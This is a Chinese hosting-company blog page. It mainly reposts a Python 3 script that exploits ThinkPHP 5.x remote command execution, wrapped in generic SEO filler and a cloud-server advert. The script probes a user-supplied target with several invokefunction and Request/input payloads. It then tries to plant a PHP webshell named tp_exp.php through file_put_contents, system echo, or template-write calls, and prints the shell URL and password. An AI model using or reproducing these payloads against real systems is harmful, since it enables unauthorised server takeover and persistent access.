怎么在python3中使用ThinkPHP命令执行Getshell-创新互联
这篇文章将为大家详细讲解有关怎么在python3中使用ThinkPHP命令执行Getshell,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。
在西宁等地区,都构建了全面的区域性战略布局,加强发展的系统性、市场前瞻性、产品创新能力,以专注、极致的服务理念,为客户提供网站设计制作、网站建设 网站设计制作按需设计网站,公司网站建设,企业网站建设,品牌网站设计,营销型网站建设,成都外贸网站建设公司,西宁网站建设费用合理。import requests import sys def demo(): print(' _______ _ _ _ _____ _ _ _____ ') print(' |__ __| | (_) | | | __ \| | | | __ \ ') print(' | | | |__ _ _ __ | | _| |__) | |__| | |__) |') print(''' | | | '_ \| | '_ \| |/ / ___/| __ | ___/ ''') print(' | | | | | | | | | | <| | | | | | | ') print(' |_| |_| |_|_|_| |_|_|\_\_| |_| |_|_| ') print() print('\tThinkPHP 5.x (v5.0.23 and v5.1.31 following version).') print('\tRemote command execution exploit.') print('\tVulnerability verification and getshell.') print('\tTarget: http://target/public') print() class ThinkPHP(): def __init__(self,web): self.web = web self.headers = { "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0", "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language" : "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding" : "gzip, deflate", "Content-Type" : "application/x-www-form-urlencoded", "Connection" : "keep-alive" } def verification(self): i = 0 s = 0 verifications = ['/?s=index/\\think\Request/input&filter=phpinfo&data=1','/?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1','/?s=index/\\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1'] while True: if i == len(verifications): break else: url = self.web + verifications[i] req = requests.get(url=url,headers=self.headers) if 'phpinfo()' in req.text: s = 1 break else: s = 0 i += 1 if s == 1: print("[+] There are vulnerabilities.") print() toshell = input("[*] Getshell? (y/n):") if toshell == 'y': self.getshell() elif toshell == 'n': sys.exit() else: sys.exit() else: print("[-] There are no vulnerabilities.") def getshell(self): getshells = [ '?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=tp_exp.php&vars[1][]=', '?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27%27%20>>%20tp_exp.php', '?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%20>>tp_exp.php', '?s=index/\\think\\template\driver\\file/write&cacheFile=tp_exp.php&content='] shell = self.web + '/tp_exp.php' i = 0 s = 0 while True: if i == len(getshells): break else: url = self.web + getshells[i] req = requests.get(url=url,headers=self.headers) req_shell = requests.get(url=shell,headers=self.headers) if req_shell.status_code == 200: s = 1 break else: s = 0 i += 1 if s == 1: print("[+] WebShell :%s PassWord :nicai4" % shell) else: print("[-] The vulnerability does not exist or exists waf.") def main(): demo() url = input("[*] Please input your target: ") run = ThinkPHP(url) run.verification() if __name__ == '__main__': main()
关于怎么在python3中使用ThinkPHP命令执行Getshell就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。
另外有需要云服务器可以了解下创新互联scvps.cn,海内外云服务器15元起步,三天无理由+7*72小时售后在线,公司持有idc许可证,提供“云服务器、裸金属服务器、高防服务器、香港服务器、美国服务器、虚拟主机、免备案服务器”等云主机租用服务以及企业上云的综合解决方案,具有“安全稳定、简单易用、服务可用性高、性价比高”等特点与优势,专为企业上云打造定制,能够满足用户丰富、多元化的应用场景需求。
网站栏目:怎么在python3中使用ThinkPHP命令执行Getshell-创新互联
当前网址:http://hbruida.cn/article/dhceio.html